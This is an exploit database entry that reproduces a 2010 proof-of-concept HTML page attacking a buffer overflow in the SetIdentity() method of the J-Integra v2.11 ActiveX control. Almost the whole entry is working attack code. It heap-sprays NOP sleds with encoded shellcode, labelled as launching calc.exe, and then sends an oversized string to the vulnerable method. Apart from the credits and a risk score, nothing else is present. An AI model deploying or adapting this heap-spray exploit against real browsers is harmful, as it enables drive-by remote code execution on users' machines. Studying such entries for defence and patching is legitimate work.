J-Integra 2.11 - ActiveX SetIdentity() Buffer Overflow

🗓️ 01 Dec 2010 00:00:00Reported by Dr_IDEType

J-Integra v2.11 ActiveX SetIdentity Buffer Overflow Exploit found by Dr_IDE, tested on XP SP3 IE

<!--
Exploit Title:	J-Integra v2.11 ActiveX SetIdentity() Buffer Overflow Exploit
Found By:	Dr_IDE
Download:	http://j-integra.intrinsyc.com/
Greets: 	bz1p, [email protected] for finding the app.
Tested on: 	XP SP3 IE7
CVE: 		(0day)
Notes:		This is not the same control as EDB#15648
-->
<html>
<object classid='clsid:8234E54E-20CB-4A88-9AB6-7986F99BE243' id='target'></object>
<script>
//payload is windows/exec cmd=calc.exe
shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');

nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;

while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);

while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
memory=new Array();

for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;
ret='';
for( counter=0; counter<=1000; counter++) ret+=unescape("%0a%0a%0a%0a");

arg2=String("abcd");
target.SetIdentity(ret ,arg2);
</script>
</html>

01 Dec 2010 00:00Current

7.4High risk

Vulners AI Score7.4